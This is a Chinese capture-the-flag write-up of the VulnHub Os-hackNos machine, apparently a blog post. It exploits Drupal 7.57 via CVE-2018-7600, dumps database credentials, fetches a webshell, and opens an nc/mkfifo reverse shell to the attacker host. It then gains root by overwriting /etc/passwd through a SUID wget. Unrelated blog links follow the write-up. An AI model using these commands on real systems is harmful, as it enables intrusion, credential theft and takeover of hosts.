Os-hackNos

下载地址:hackNos: Os-hackNos ~ VulnHub

1 环境配置

1.1 靶场环境

1.2 靶机未获取到IP时配置

  1. 开机按住Shift键,进入GRUB界面

  2. 配置单用户模式

    将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面

  3. 配置网卡

    # 当前网卡名称与配置文件中的网卡名称不一致,
    将配置文件中的网卡名称修改为:ens33
    # 重启网络服务
    /etc/init.d/networking restart
    # 查看当前所获取的IP
    ip a

2 信息收集

2.1 端口扫描

2.2 目录扫描

  1. 通过目录扫描确认目标系统使用了Drupal CMS,并存在目录列表漏洞

    # Dirsearch started Sun Feb 13 13:05:42 2022 as: dirsearch.py -x403 -u http://192.168.0.3/
    
    301   311B   http://192.168.0.3:80/drupal    -> REDIRECTS TO: http://192.168.0.3/drupal/
    200 11KB http://192.168.0.3:80/index.html # Dirsearch started Sun Feb 13 13:36:04 2022 as: dirsearch.py -x403 -u http://192.168.0.3/drupal/ 200 317B http://192.168.0.3:80/drupal/.editorconfig
    200 174B http://192.168.0.3:80/drupal/.gitignore
    200 109KB http://192.168.0.3:80/drupal/CHANGELOG.txt
    200 1KB http://192.168.0.3:80/drupal/COPYRIGHT.txt
    200 2KB http://192.168.0.3:80/drupal/INSTALL.mysql.txt
    200 2KB http://192.168.0.3:80/drupal/INSTALL.pgsql.txt
    200 18KB http://192.168.0.3:80/drupal/INSTALL.txt
    200 18KB http://192.168.0.3:80/drupal/LICENSE.txt
    200 9KB http://192.168.0.3:80/drupal/MAINTAINERS.txt
    200 5KB http://192.168.0.3:80/drupal/README.txt
    200 10KB http://192.168.0.3:80/drupal/UPGRADE.txt
    301 320B http://192.168.0.3:80/drupal/includes -> REDIRECTS TO: http://192.168.0.3/drupal/includes/
    200 10KB http://192.168.0.3:80/drupal/includes/
    200 132KB http://192.168.0.3:80/drupal/includes/bootstrap.inc
    200 7KB http://192.168.0.3:80/drupal/index.php
    200 3KB http://192.168.0.3:80/drupal/install.php
    301 316B http://192.168.0.3:80/drupal/misc -> REDIRECTS TO: http://192.168.0.3/drupal/misc/
    301 319B http://192.168.0.3:80/drupal/modules -> REDIRECTS TO: http://192.168.0.3/drupal/modules/
    200 9KB http://192.168.0.3:80/drupal/modules/
    301 320B http://192.168.0.3:80/drupal/profiles -> REDIRECTS TO: http://192.168.0.3/drupal/profiles/
    200 271B http://192.168.0.3:80/drupal/profiles/minimal/minimal.info
    200 743B http://192.168.0.3:80/drupal/profiles/standard/standard.info
    200 278B http://192.168.0.3:80/drupal/profiles/testing/testing.info
    200 2KB http://192.168.0.3:80/drupal/robots.txt
    301 319B http://192.168.0.3:80/drupal/scripts -> REDIRECTS TO: http://192.168.0.3/drupal/scripts/
    200 3KB http://192.168.0.3:80/drupal/scripts/
    301 317B http://192.168.0.3:80/drupal/sites -> REDIRECTS TO: http://192.168.0.3/drupal/sites/
    200 151B http://192.168.0.3:80/drupal/sites/all/libraries/README.txt
    200 1KB http://192.168.0.3:80/drupal/sites/all/modules/README.txt
    200 1020B http://192.168.0.3:80/drupal/sites/all/themes/README.txt
    200 0B http://192.168.0.3:80/drupal/sites/example.sites.php
    200 904B http://192.168.0.3:80/drupal/sites/README.txt
    301 318B http://192.168.0.3:80/drupal/themes -> REDIRECTS TO: http://192.168.0.3/drupal/themes/
    200 2KB http://192.168.0.3:80/drupal/themes/
    200 2KB http://192.168.0.3:80/drupal/web.config
    200 42B http://192.168.0.3:80/drupal/xmlrpc.php
  2. 通过查看目标网站上的文件,确认当前Drupal版本为:7.57,已知7.0 - 7.61版本存在多个漏洞

    http://192.168.0.3/drupal/modules/help/help.info

3 对Drupal 7.57版本安全测试

3.1 Drupal Drupalgeddon 2 Forms API Property Injection 漏洞

  1. pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600 (github.com)

  2. MSF

    # 确认目标存在:Drupal Drupalgeddon 2 Forms API Property Injection 漏洞
    msf6 exploit(unix/webapp/drupal_restws_exec) > search drupal
    Name Description
    ---- -----------
    exploit/unix/webapp/drupal_drupalgeddon2 Drupal Drupalgeddon 2 Forms API Property Injection

3.2 收集配置文件信息

  1. 查找网站数据库配置信息

    python3 drupa7-CVE-2018-7600.py http://192.168.0.3/drupal/ -c "cat sites/default/settings.php"
    
    $databases = array (
    'default' =>
    array (
    'default' =>
    array (
    'database' => 'cuppa',
    'username' => 'cuppauser',
    'password' => 'Akrn@4514',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
    ),
    ),
    ); $update_free_access = FALSE; $drupal_hash_salt = 'c6Qi2NNeM2c3aHq3CiJMX-RYNbfydZ7QygGiRtKy-Gs'; ini_set('session.gc_probability', 1);
    ini_set('session.gc_divisor', 100); ini_set('session.gc_maxlifetime', 200000); ini_set('session.cookie_lifetime', 2000000); $conf['404_fast_paths_exclude'] = '/\/(?:styles)|(?:system\/files)\//';
    $conf['404_fast_paths'] = '/\.(?:txt|png|gif|jpe?g|css|js|ico|swf|flv|cgi|bat|pl|dll|exe|asp)$/i';
    $conf['404_fast_html'] = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "@path" was not found on this server.</p></body></html>';
  2. 查看当前系统中的文件:没有找到有效信息

    find / -user 1000 2>/dev/null

  3. 查找网站根目录存在可疑文件alexander.txt

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

    • 尝试Base64解密得到:

      +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
      ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
      ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
      >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
      ++.PA
    • 没有见过的加密方式,百度走起

  4. 查找james home目录存在可疑文件user.txt

    bae11ce4f67af91fa58576c1da2aad4b

4 Getshell

由/etc/passwd 信息可知,www-data用户没有shell登录权限,因此尝试使用Webshell进行GetShell操作

4.1 利用NC工具

  1. 查看系统中是否存在nc工具

    python3 drupa7-CVE-2018-7600.py http://192.168.0.3/drupal/ -c "which nc"

  2. 建立nc连接

    # 利用CVE-2018-7600
    python3 drupa7-CVE-2018-7600.py http://192.168.0.3/drupal/ -c "nc 192.168.0.2 2333" # kali
    nc -nvlp 2333 # 由于所利用CVE-2018-7600的进程在执行完成后会退出,用此方式建立的反弹shell无法保持连接

4.2 利用webshell

  1. 上传webshell

    python3 drupa7-CVE-2018-7600.py http://192.168.0.3/drupal/ -c "wget http://192.168.0.109/webshell.php"

  2. 反弹shell

    1. 使用蚁剑连接,成功获得GetShell

    2. 构造Post请求利用nc反弹shell

      POST /drupal/webshell.php HTTP/1.1
      Host: 192.168.0.3
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 89
      Origin: http://192.168.0.3
      Connection: close
      Referer: http://192.168.0.3/drupal/webshell.php
      Cookie: has_js=1
      Upgrade-Insecure-Requests: 1
      Sec-GPC: 1
      DNT: 1
      Pragma: no-cache
      Cache-Control: no-cache acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell

      linux mkfifo命令基本用法 - 故道丶白云 - 博客园 (cnblogs.com)

4.3 利用python获取shell

  1. 确认目标主机是否安装python

    which python # 没有结果
    which python3 # 命令成功执行,说明存在python3
  2. 获取shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

5 提权

5.1 利用收集的信息尝试直接登录系统

# 尝试登录失败
ssh 192.168.0.3 -l james

5.2 利用SUID提权

  1. 查找具有SUID权限的命令

    find / -perm -u=s -type f 2>/dev/null
    # wget 是拥有root权限,利用思路,利用下载替换/etc/passwd使创建的用户具有root权限

  2. 生成账号密码

    openssl passwd -1 -salt fcarey Admin123
    $1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.

  3. 在kali上,下载目标系统的/etc/passwd文件并添加内容如下:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    syslog:x:104:108::/home/syslog:/bin/false
    _apt:x:105:65534::/nonexistent:/bin/false
    lxd:x:106:65534::/var/lib/lxd/:/bin/false
    messagebus:x:107:111::/var/run/dbus:/bin/false
    uuidd:x:108:112::/run/uuidd:/bin/false
    dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
    james:x:1000:1000:james,,,:/home/james:/bin/bash
    sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
    mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
    fcarey:$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.:0:0:root:/root:/bin/bash
  4. 在目标系统上下载修改后的passwd文件并替换

    wget 192.168.0.2/passwd -O /etc/passwd

  5. 尝试登录自建的管理员用户

    su - fcarey

Os-hackNos的更多相关文章

  1. NodeJs之OS

    OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...

  2. Node.js:OS模块

    os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...

  3. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  4. Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)

    Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...

  5. Mac OS、Ubuntu 安装及使用 Consul

    Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...

  6. java 利用ManagementFactory获取jvm,os的一些信息--转

    原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...

  7. 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。

    写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...

  8. Mac OS X 上编写 ASP.NET vNext (二) IDE配置

    上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...

  9. 在Mac OS X上安装ASP.NET 5(译文)

    ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...

  10. Python标准模块--os

    1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...

随机推荐

  1. Pod控制器详解

    Pod控制器详解 7.1 Pod控制器介绍 Pod是kubernetes的最小管理单元,在kubernetes中,按照pod的创建方式可以将其分为两类: 自主式pod:kubernetes直接创建出来 ...

  2. 【每日一题】【快速排序过程、循环过程无=、递归参数】2022年1月16日-NC140 排序

    快速排序 对时间复杂度和空间复杂度有要求 方法1:快速排序-递归 import java.util.*; public class Solution { /** * 代码中的类名.方法名.参数名已经指 ...

  3. 【Hadoop学习】下:MapReduce程序编写、Hadoop序列化、框架原理、Yarn组件、设置队列

    一.MapReduce概述 1.定义 编程框架,组成分布式运算程序,运行在集群上 2.特点 优点:易于编程.扩展性.容错性(内部完成).海量数据离线处理 缺点:非实时.不擅长流式计算.不擅长DAG有向 ...

  4. Selenium4+Python3系列(十一) - Page Factory设计模式

    写在前面: Page Object模式,目的是将元素定位和元素操作分层,只接触测试内容,不写基础内容,便于后续对自动化测试用例体系的维护,这是中心思想,也是核心. 那么我们继续将简洁延续,这里沿用Ja ...

  5. TypeError: Object(…) is not a function

    vue中遇到的这个错误 1. 先检查变量名或者函数名是否有重复定义 报这错之后看了好久,也没有发现starkflow上说的,重复定义了变量或者函数 2. vue的话 检查下函数写的位置,直接写到cre ...

  6. HMS Core 6.8.0版本发布公告

    分析服务 ◆ 游戏行业新增"区服分析"埋点模板及分析报告,支持开发者分服务器查看用户付费.留存等指标,可进一步评估不同服务器的玩家质量: ◆ 新增营销活动报告,可查看广告任务带来的 ...

  7. psutil模块使用(系统监控,性能分析,进程管理)

    psutil模块的介绍 在Python中,我们可以使用psutil这个第三方模块去获取信息的信息. psutil模块可以跨平台使用,支持Linux/UNIX/OSX/Windows等,它主要用来做系统 ...

  8. web项目部署上线(无虚拟主机,待学习)

    购买阿里云服务器 阿里云服务器ECS 系统镜像使用Ubuntu 20.04 LTS 使用ssh连接服务器,终端或者CMD中执行:$ssh root@x.x.x(阿里云服务器账号名@公网地址) 输入账号 ...

  9. Linux利用crontab执行定时任务

    Linux利用crontab执行定时任务 crond简介 crond是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认 ...

  10. JavaScript 中如何拦截全局 Fetch API 的请求和响应?

    本文翻译自 Intercepting JavaScript Fetch API requests and responses 拦截器是可用于预处理或后处理 HTTP 请求的代码块,有助于全局错误处理. ...